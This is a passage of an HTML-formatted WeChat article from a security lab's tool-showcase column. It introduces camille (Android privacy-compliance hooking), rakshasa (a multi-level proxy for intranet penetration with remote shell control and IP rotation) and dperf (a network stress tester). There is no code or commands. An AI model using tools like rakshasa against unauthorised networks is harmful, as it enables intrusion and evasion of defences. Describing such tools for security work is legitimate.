<section data-role="outer" label="edit by 135editor" data-mpa-powered-by="yiban.io" style="margin-bottom: 24px;"><section data-role="paragraph"><section data-role="outer" label="edit by 135editor"><section data-role="paragraph"><section><mp-common-miniprogram data-miniprogram-nickname="抽奖助手" data-miniprogram-avatar="http://mmbiz.qpic.cn/mmbiz_png/Vdys2e8jP1l1clbflznHYO7IRflCZWjPfD4NMn1Xqgr5gZbBy1qVc12cGVG1whLTXiafBT7kiaWRl38HCbqLnRzw/640?wx_fmt=png&amp;wxfrom=200" data-miniprogram-title="学蚁致用粉丝抽奖" data-miniprogram-imageurl="http://mmbiz.qpic.cn/mmbiz_jpg/lkcJVly3Wy2xmTxvVcX4B8RuXibkfW1ULiahuwlIoRibGgyhricGsANoYx8rTHthyiaskpQwp6cgvBibFTxk9HJlxrew/0?wx_fmt=jpeg" data-miniprogram-type="card" data-miniprogram-servicetype="0" data-pluginname="insertminiprogram" class="js_uneditable custom_select_card mp_miniprogram_iframe" data-miniprogram-appid="wx01bb1ef166cd3f4e" data-weui-theme="light" data-miniprogram-path="/pages/lucky/lottery/detail?id=8p7f8sEUTqX"></mp-common-miniprogram></section><p style="text-align: center;"><br/></p><p style="text-align: center;"><span style="color: rgb(255, 104, 39);"><strong>下面是原文，不是割韭菜的，给个面子继续看一看</strong></span></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4255555555555556" data-s="300,640" style="" data-type="png" data-w="900" src="https://wechat2rss.xlab.app/img-proxy/?k=a8230d63&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3k9IT3oQhT2FXZwSECclcia44umR59gkqvTwRndqjERSrpJ6vppSE1yj2r68blhajbCotYjVLWVVndFKxBQwR6A%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;text-align: center;visibility: visible;"><br/></p><p style="margin: 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;text-align: center;visibility: visible;"><br/></p><p style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">催更的小伙伴我们来啦！<span style="color: rgb(34, 34, 34);font-size: 15px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);">「</span>404星链计划<span style="color: rgb(34, 34, 34);font-size: 15px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);">」</span>上新了~ 本期我们又收集到3个优质项目，一起来看看，文末还有404实验室原创期刊套册送出<img class="rich_pages wxw-img" data-ratio="1" style="height: 20px !important;max-height: 20px !important;width: 20px !important;" data-w="66" src="https://wechat2rss.xlab.app/img-proxy/?k=428c060c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fb96CibCt70iaajvl7fD4ZCicMcjhXMp1v6U5znUuKvLNuecpEMMsA3vl55aPZWeT3udbNebayP2lztqHFIpIa3eqA%2F640%3Fwx_fmt%3Dpng"/></span></p><p><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><br/></span></p><p><br/></p><section data-role="outer" label="edit by 135editor"><section data-role="title" data-tools="135编辑器" data-id="95270" data-color="#212122"><section style="display: flex;justify-content: center;align-items: center;margin:10px auto;"><section style="text-align: center;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><section style="display: inline-block;border-top: 1px solid rgb(78, 78, 80);border-bottom: 1px solid rgb(78, 78, 80);border-left: 1px solid rgb(78, 78, 80);border-radius: 100%;border-right: none;padding: 2px;box-sizing: border-box;"><section style="box-sizing:border-box;text-align:center;line-height:36px;color:#fff;width:36px;height:36px;border-radius:100%;background:#212122;border-right: none;"><span style="font-family: Optima-Regular, PingFangTC-light;">01</span></section></section></section><section data-brushtype="text" data-bgless="spin" data-bgopacity="30%" data-bdless="spin" data-bdopacity="20%" style="margin-left: -30px;background: rgba(33, 33, 33, 0.7);border-width: 1px;border-style: solid;border-color: rgb(78, 78, 80);letter-spacing: 1.5px;border-radius: 20px;padding: 3px 15px 3px 35px;color: rgb(255, 255, 255);" hm_fix="369:280"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;"><strong>camille</strong><br/></span></section></section></section><section style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><section style="display: flex;justify-content: flex-start;align-items: center;"><section style="box-sizing:border-box;width: 15px;"><img class="rich_pages wxw-img" data-ratio="1.1666666666666667" style="box-sizing: border-box;vertical-align: inherit;width: 100%;display: block;background: none rgb(49, 50, 53);max-width: 100% !important;" data-w="30" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=77bc5899&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7QRTvkK2qC7vQN1WtUbcq3LGIvUp1LAOdFD1qUB2ia9717ur5vcB0UA1QibuXk05zcicQgjH1HicxtuvwvkY5qzGHQ%2F640%3Fwx_fmt%3Dpng"/></section><section data-brushtype="text" style="font-size: 16px;text-align: center;letter-spacing: 1.5px;line-height: 1.75em;color: rgb(33, 33, 34);padding: 1em 0.2em;box-sizing: border-box;" hm_fix="340:348"><span style="font-family: Optima-Regular, PingFangTC-light;"><strong>项目链接</strong></span></section></section></section><section data-role="paragraph"><section style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="color: rgb(51, 51, 51);font-size: 15px;letter-spacing: 1.5px;text-align: justify;text-decoration: none;font-family: Optima-Regular, PingFangTC-light;display: inline !important;"><a href="https://github.com/zhengjim/camille" target="_blank">https://github.com/zhengjim/camille</a></span></section><section style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><section style="display: flex;justify-content: flex-start;align-items: center;"><section style="box-sizing:border-box;width: 15px;"><img class="rich_pages wxw-img" data-ratio="1.1666666666666667" style="box-sizing: border-box;vertical-align: inherit;width: 100%;display: block;background: none rgb(49, 50, 53);max-width: 100% !important;" data-w="30" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=77bc5899&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7QRTvkK2qC7vQN1WtUbcq3LGIvUp1LAOdFD1qUB2ia9717ur5vcB0UA1QibuXk05zcicQgjH1HicxtuvwvkY5qzGHQ%2F640%3Fwx_fmt%3Dpng"/></section><section data-brushtype="text" style="font-size: 16px;text-align: center;letter-spacing: 1.5px;line-height: 1.75em;color: #212122;padding: 1em 0.2em;box-sizing: border-box;" hm_fix="340:348"><span style="font-family: Optima-Regular, PingFangTC-light;"><strong>项目简介</strong></span></section></section></section><section style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="color: rgb(51, 51, 51);font-size: 15px;letter-spacing: 1.5px;text-align: justify;font-family: Optima-Regular, PingFangTC-light;display: inline !important;">现如今APP隐私合规十分重要，各监管部门不断开展APP专项治理工作及核查通报，不合规的APP通知整改或直接下架。camille可以hook住Android敏感接口，并识别是否为第三方SDK调用。根据隐私合规的场景，辅助检查是否符合隐私合规标准。</span></section></section><section style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><section style="display: flex;justify-content: flex-start;align-items: center;"><section style="box-sizing:border-box;width: 15px;"><img class="rich_pages wxw-img" data-ratio="1.1666666666666667" style="box-sizing: border-box;vertical-align: inherit;width: 100%;display: block;background: none rgb(49, 50, 53);max-width: 100% !important;" data-w="30" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=77bc5899&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7QRTvkK2qC7vQN1WtUbcq3LGIvUp1LAOdFD1qUB2ia9717ur5vcB0UA1QibuXk05zcicQgjH1HicxtuvwvkY5qzGHQ%2F640%3Fwx_fmt%3Dpng"/></section><section data-brushtype="text" style="font-size: 16px;text-align: center;letter-spacing: 1.5px;line-height: 1.75em;color: #212122;padding: 1em 0.2em;box-sizing: border-box;" hm_fix="340:348"><span style="font-family: Optima-Regular, PingFangTC-light;"><strong>项目特点、亮点</strong></span></section></section></section><ul class="list-paddingleft-1" style="list-style-type: disc;"><li style="font-family: Optima-Regular, PingFangTC-light;"><section data-role="paragraph" style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><section data-role="list" style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><section data-role="list" style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><section style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="color: rgb(51, 51, 51);font-size: 15px;letter-spacing: 1.5px;text-align: justify;font-family: Optima-Regular, PingFangTC-light;display: inline !important;">基于实际上架内置了android敏感接口规则</span></section></section></section></section></li><li style="font-family: Optima-Regular, PingFangTC-light;"><section data-role="paragraph" style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><section data-role="list" style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><section data-role="list" style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><section style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="color: rgb(51, 51, 51);font-size: 15px;letter-spacing: 1.5px;text-align: justify;font-family: Optima-Regular, PingFangTC-light;display: inline !important;">第三方SDK识别</span></section></section></section></section></li><li style="font-family: Optima-Regular, PingFangTC-light;"><section data-role="paragraph" style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><section data-role="list" style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><section data-role="list" style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><section style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="color: rgb(51, 51, 51);font-size: 15px;letter-spacing: 1.5px;text-align: justify;font-family: Optima-Regular, PingFangTC-light;display: inline !important;">可指定模块Hook</span></section></section></section></section></li><li style="font-family: Optima-Regular, PingFangTC-light;"><section data-role="paragraph" style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><section data-role="list" style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><section data-role="list" style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><section style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="color: rgb(51, 51, 51);font-size: 15px;letter-spacing: 1.5px;text-align: justify;font-family: Optima-Regular, PingFangTC-light;display: inline !important;">封装hook函数，便于自定义hook接口</span></section></section></section></section></li><li style="font-family: Optima-Regular, PingFangTC-light;"><section data-role="paragraph" style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><section data-role="list" style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><section data-role="list" style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><section style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="color: rgb(51, 51, 51);font-size: 15px;letter-spacing: 1.5px;text-align: justify;font-family: Optima-Regular, PingFangTC-light;display: inline !important;">可识别是否同意隐私政策</span></section></section></section></section></li><li style="font-family: Optima-Regular, PingFangTC-light;"><section data-role="paragraph" style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><section data-role="list" style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><section data-role="list" style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><section style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="color: rgb(51, 51, 51);font-size: 15px;letter-spacing: 1.5px;text-align: justify;font-family: Optima-Regular, PingFangTC-light;display: inline !important;">可导出堆栈报告便于整改</span></section></section></section></section></li><li style="font-family: Optima-Regular, PingFangTC-light;"><section data-role="paragraph" style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><section data-role="list" style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><section data-role="list" style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><section style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="color: rgb(51, 51, 51);font-size: 15px;letter-spacing: 1.5px;text-align: justify;font-family: Optima-Regular, PingFangTC-light;display: inline !important;">持续更新敏感接口、SDK规则、隐私政策及文档</span></section></section></section></section></li></ul><section data-role="paragraph"><section data-role="list"><section data-role="list" style="margin: 0px;padding: 0px;max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><section style="margin: 0px;padding: 0px;clear: both;min-height: 1em;max-width: 100%;line-height: 1.75em;overflow-wrap: break-word !important;box-sizing: border-box !important;"><br/></section><section style="margin: 0px;padding: 0px;clear: both;min-height: 1em;max-width: 100%;line-height: 1.75em;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="text-align: start;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-size: 15px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);font-family: Optima-Regular, PingFangTC-light;"><br/></span></section></section></section></section><p><br/></p><section style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><section style="display: flex;justify-content: center;align-items: center;margin:10px auto;"><section style="text-align: center;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><section style="display: inline-block;border-top: 1px solid rgb(78, 78, 80);border-bottom: 1px solid rgb(78, 78, 80);border-left: 1px solid rgb(78, 78, 80);border-radius: 100%;border-right: none;padding: 2px;box-sizing: border-box;"><section style="box-sizing:border-box;text-align:center;line-height:36px;color:#fff;width:36px;height:36px;border-radius:100%;background:#212122;border-right: none;"><span style="font-family: Optima-Regular, PingFangTC-light;">02</span></section></section></section><section data-brushtype="text" data-bgless="spin" data-bgopacity="30%" data-bdless="spin" data-bdopacity="20%" style="margin-left: -30px;background: rgba(33, 33, 33, 0.7);border-width: 1px;border-style: solid;border-color: rgb(78, 78, 80);letter-spacing: 1.5px;border-radius: 20px;padding: 3px 15px 3px 35px;color: rgb(255, 255, 255);" hm_fix="369:280"><span style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 16px;"><strong><span style="letter-spacing: 0.5px;">rakshasa</span></strong></span></span></section></section></section><section style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><section style="display: flex;justify-content: flex-start;align-items: center;"><section style="box-sizing:border-box;width: 15px;"><img class="rich_pages wxw-img" data-ratio="1.1666666666666667" style="box-sizing: border-box;vertical-align: inherit;width: 100%;display: block;background: none rgb(49, 50, 53);max-width: 100% !important;" data-w="30" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=77bc5899&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7QRTvkK2qC7vQN1WtUbcq3LGIvUp1LAOdFD1qUB2ia9717ur5vcB0UA1QibuXk05zcicQgjH1HicxtuvwvkY5qzGHQ%2F640%3Fwx_fmt%3Dpng"/></section><section data-brushtype="text" style="font-size: 16px;text-align: center;letter-spacing: 1.5px;line-height: 1.75em;color: #212122;padding: 1em 0.2em;box-sizing: border-box;" hm_fix="340:348"><span style="font-family: Optima-Regular, PingFangTC-light;"><strong>项目链接</strong></span></section></section></section><section data-role="paragraph"><section style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="color: rgb(51, 51, 51);font-size: 14px;letter-spacing: 1.5px;text-align: justify;font-family: Optima-Regular, PingFangTC-light;display: inline !important;"><a href="https://github.com/Mob2003/rakshasa" target="_blank">https://github.com/Mob2003/rakshasa</a></span></section><section style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><section style="display: flex;justify-content: flex-start;align-items: center;"><section style="box-sizing:border-box;width: 15px;"><img class="rich_pages wxw-img" data-ratio="1.1666666666666667" style="box-sizing: border-box;vertical-align: inherit;width: 100%;display: block;background: none rgb(49, 50, 53);max-width: 100% !important;" data-w="30" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=77bc5899&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7QRTvkK2qC7vQN1WtUbcq3LGIvUp1LAOdFD1qUB2ia9717ur5vcB0UA1QibuXk05zcicQgjH1HicxtuvwvkY5qzGHQ%2F640%3Fwx_fmt%3Dpng"/></section><section data-brushtype="text" style="font-size: 16px;text-align: center;letter-spacing: 1.5px;line-height: 1.75em;color: #212122;padding: 1em 0.2em;box-sizing: border-box;" hm_fix="340:348"><span style="font-family: Optima-Regular, PingFangTC-light;"><strong>项目简介</strong></span></section></section></section><p style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;">rakshasa是一个使用Go语言编写的强大多级代理工具，专为实现多级代理，内网穿透而设计。</span></p></section><section style="line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><section style="display: flex;justify-content: flex-start;align-items: center;"><section style="box-sizing:border-box;width: 15px;"><img class="rich_pages wxw-img" data-ratio="1.1666666666666667" style="box-sizing: border-box;vertical-align: inherit;width: 100%;display: block;background: none rgb(49, 50, 53);max-width: 100% !important;" data-w="30" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=77bc5899&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7QRTvkK2qC7vQN1WtUbcq3LGIvUp1LAOdFD1qUB2ia9717ur5vcB0UA1QibuXk05zcicQgjH1HicxtuvwvkY5qzGHQ%2F640%3Fwx_fmt%3Dpng"/></section><section data-brushtype="text" style="font-size: 16px;text-align: center;letter-spacing: 1.5px;line-height: 1.75em;color: #212122;padding: 1em 0.2em;box-sizing: border-box;" hm_fix="340:348"><span style="font-family: Optima-Regular, PingFangTC-light;"><strong>项目特点、亮点</strong></span></section></section></section><section data-role="paragraph"><section data-role="list"><p style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="font-size: 15px;letter-spacing: 1.5px;font-family: Optima-Regular, PingFangTC-light;">它可以在节点群里面任意两个节点之间转发TCP请求和响应，同时支持socks5代理，http代理，并且可以引入外部http、socks5代理池，自动切换请求IP。</span></p><p style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="font-size: 15px;letter-spacing: 1.5px;font-family: Optima-Regular, PingFangTC-light;"><br/></span></p><p style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="font-size: 15px;letter-spacing: 1.5px;font-family: Optima-Regular, PingFangTC-light;">节点之间使用内置证书的TLS加密TCP通讯，再叠加一层自定义秘钥的AES加密，可以在所有Go支持的平台使用。可以在你所有的的Windows和Linux服务器上搭建节点并组成节点群网络。</span></p><p style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="font-size: 15px;letter-spacing: 1.5px;font-family: Optima-Regular, PingFangTC-light;"><br/></span></p><p data-sourcepos="34:1-34:55" dir="auto" style="margin-right: 8px;margin-bottom: 0px;margin-left: 8px;white-space: normal;line-height: 1.75em;"><span style="font-size: 15px;letter-spacing: 1.5px;font-family: Optima-Regular, PingFangTC-light;">节点分为普通节点(node)与控制节点(fullnode)</span></p><p data-sourcepos="34:1-34:55" dir="auto" style="margin-right: 8px;margin-bottom: 0px;margin-left: 8px;white-space: normal;line-height: 1.75em;"><span style="font-size: 15px;letter-spacing: 1.5px;font-family: Optima-Regular, PingFangTC-light;"><br/></span></p><p data-sourcepos="36:1-37:30" dir="auto" style="margin-right: 8px;margin-bottom: 0px;margin-left: 8px;white-space: normal;line-height: 1.75em;"><span style="font-size: 15px;letter-spacing: 1.5px;font-family: Optima-Regular, PingFangTC-light;">普通节点，无法控制其他节点进行代理、shell等操作 </span></p><p data-sourcepos="36:1-37:30" dir="auto" style="margin-right: 8px;margin-bottom: 0px;margin-left: 8px;white-space: normal;line-height: 1.75em;"><span style="font-size: 15px;letter-spacing: 1.5px;font-family: Optima-Regular, PingFangTC-light;">控制节点，全功能节点</span></p><p style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><br/></p><section data-role="list"><section><span style="font-family: Optima-Regular, PingFangTC-light;"><strong><span style="font-size: 14px;"><br/></span></strong></span></section></section></section><section style="line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><section style="display: flex;justify-content: center;align-items: center;margin:10px auto;"><section style="text-align: center;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><section style="display: inline-block;border-top: 1px solid rgb(78, 78, 80);border-bottom: 1px solid rgb(78, 78, 80);border-left: 1px solid rgb(78, 78, 80);border-radius: 100%;border-right: none;padding: 2px;box-sizing: border-box;"><section style="box-sizing:border-box;text-align:center;line-height:36px;color:#fff;width:36px;height:36px;border-radius:100%;background:#212122;border-right: none;"><span style="font-family: Optima-Regular, PingFangTC-light;">03</span></section></section></section><section data-brushtype="text" data-bgless="spin" data-bgopacity="30%" data-bdless="spin" data-bdopacity="20%" style="margin-left: -30px;background: rgba(33, 33, 33, 0.7);border-width: 1px;border-style: solid;border-color: rgb(78, 78, 80);letter-spacing: 1.5px;border-radius: 20px;padding: 3px 15px 3px 35px;color: rgb(255, 255, 255);" hm_fix="369:280"><span style="font-size: 16px;font-family: Optima-Regular, PingFangTC-light;"><strong>dperf</strong></span></section></section></section><section style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><section style="display: flex;justify-content: flex-start;align-items: center;"><section style="box-sizing:border-box;width: 15px;"><img class="rich_pages wxw-img" data-ratio="1.1666666666666667" style="box-sizing: border-box;vertical-align: inherit;width: 100%;display: block;background: none rgb(49, 50, 53);max-width: 100% !important;" data-w="30" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=77bc5899&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7QRTvkK2qC7vQN1WtUbcq3LGIvUp1LAOdFD1qUB2ia9717ur5vcB0UA1QibuXk05zcicQgjH1HicxtuvwvkY5qzGHQ%2F640%3Fwx_fmt%3Dpng"/></section><section data-brushtype="text" style="font-size: 16px;text-align: center;letter-spacing: 1.5px;line-height: 1.75em;color: #212122;padding: 1em 0.2em;box-sizing: border-box;" hm_fix="340:348"><span style="font-family: Optima-Regular, PingFangTC-light;"><strong>项目链接</strong></span></section></section></section><section data-role="paragraph"><section style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="color: rgb(51, 51, 51);font-size: 15px;letter-spacing: 1.5px;text-align: justify;font-family: Optima-Regular, PingFangTC-light;display: inline !important;"><a href="https://github.com/baidu/dperf" target="_blank">https://github.com/baidu/dperf</a></span></section><section style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><section style="display: flex;justify-content: flex-start;align-items: center;"><section style="box-sizing:border-box;width: 15px;"><img class="rich_pages wxw-img" data-ratio="1.1666666666666667" style="box-sizing: border-box;vertical-align: inherit;width: 100%;display: block;background: none rgb(49, 50, 53);max-width: 100% !important;" data-w="30" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=77bc5899&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7QRTvkK2qC7vQN1WtUbcq3LGIvUp1LAOdFD1qUB2ia9717ur5vcB0UA1QibuXk05zcicQgjH1HicxtuvwvkY5qzGHQ%2F640%3Fwx_fmt%3Dpng"/></section><section data-brushtype="text" style="font-size: 16px;text-align: center;letter-spacing: 1.5px;line-height: 1.75em;color: #212122;padding: 1em 0.2em;box-sizing: border-box;" hm_fix="340:348"><span style="font-family: Optima-Regular, PingFangTC-light;"><strong>项目简介</strong></span></section></section></section><section style="margin-left: 8px;margin-right: 8px;"><span style="font-size: 15px;letter-spacing: 1.5px;font-family: Optima-Regular, PingFangTC-light;">dperf 是一个100Gbps的网络性能与压力测试软件。国内多个知名安全厂商用dperf测试其防火墙。知名开源四层负载均衡DPVS在用dperf做性能测试，发布性能测试报告。</span></section><section data-role="list" style="margin: 0px;padding: 0px;clear: both;min-height: 1em;max-width: 100%;line-height: 1.75em;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p dir="auto" style="margin: 0px;padding: 0px;clear: both;min-height: 1em;max-width: 100%;line-height: 1.75em;overflow-wrap: break-word !important;box-sizing: border-box !important;"><br/></p></section></section><section style="margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><section style="display: flex;justify-content: flex-start;align-items: center;"><section style="box-sizing:border-box;width: 15px;"><img data-ratio="1.1666666666666667" style="box-sizing: border-box;vertical-align: inherit;width: 100%;display: block;background: none rgb(49, 50, 53);max-width: 100% !important;" data-w="30" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=66df5133&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7QRTvkK2qC7vQN1WtUbcq3LGIvUp1LAOdFD1qUB2ia9717ur5vcB0UA1QibuXk05zcicQgjH1HicxtuvwvkY5qzGHQ%2F640%3Fwx_fmt%3Dother"/></section><section data-brushtype="text" style="font-size: 16px;text-align: center;letter-spacing: 1.5px;line-height: 1.75em;color: #212122;padding: 1em 0.2em;box-sizing: border-box;" hm_fix="340:348"><span style="font-family: Optima-Regular, PingFangTC-light;"><strong>项目特点、亮点</strong></span></section></section></section><section data-role="paragraph" style="margin: 0px;padding: 0px;clear: both;min-height: 1em;max-width: 100%;line-height: 1.75em;overflow-wrap: break-word !important;box-sizing: border-box !important;"><section data-role="list" style="margin: 0px;padding: 0px;clear: both;min-height: 1em;max-width: 100%;line-height: 1.75em;overflow-wrap: break-word !important;box-sizing: border-box !important;"><ul class="list-paddingleft-1" style="list-style-type: disc;margin: 0px 8px;padding: 0px 0px 0px 30px;"><li style="font-family: Optima-Regular, PingFangTC-light;"><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;max-width: 100%;line-height: 1.75em;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">性能强大：</span></p></li><ul dir="auto" style="list-style-type: square;margin: 0px 8px;padding: 0px 0px 0px 30px;" class="list-paddingleft-1"><li style="font-family: Optima-Regular, PingFangTC-light;"><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;max-width: 100%;line-height: 1.75em;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">基于 DPDK，使用一台普通 x86 服务器就可以产生巨大的流量：千万级的 HTTP 每秒新建连接数，数百Gbps的带宽，几十亿的并发连接数</span></p></li></ul><li style="font-family: Optima-Regular, PingFangTC-light;"><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;max-width: 100%;line-height: 1.75em;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">统计信息详细：</span></p></li><ul dir="auto" style="list-style-type: square;margin: 0px 8px;padding: 0px 0px 0px 30px;" class="list-paddingleft-1"><li style="font-family: Optima-Regular, PingFangTC-light;"><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;max-width: 100%;line-height: 1.75em;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">能够输出详细的统计信息，并且识别每一个丢包</span></p></li></ul><li style="font-family: Optima-Regular, PingFangTC-light;"><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;max-width: 100%;line-height: 1.75em;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">使用场景丰富：</span></p></li><ul dir="auto" style="list-style-type: square;margin: 0px 8px;padding: 0px 0px 0px 30px;" class="list-paddingleft-1"><li style="font-family: Optima-Regular, PingFangTC-light;"><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;max-width: 100%;line-height: 1.75em;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">可用于对四层负载均衡等四层网关进行性能压力测试、长稳测试</span></p></li><li style="font-family: Optima-Regular, PingFangTC-light;"><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;max-width: 100%;line-height: 1.75em;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">可用于对云上虚拟机的网络性能进行测试</span></p></li><li style="font-family: Optima-Regular, PingFangTC-light;"><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;max-width: 100%;line-height: 1.75em;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="font-size: 15px;font-family: Optima-Regular, 